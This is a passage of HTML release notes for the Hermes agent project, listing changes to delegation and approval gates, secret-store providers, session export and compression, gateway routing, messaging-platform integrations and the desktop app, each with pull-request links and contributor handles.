<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
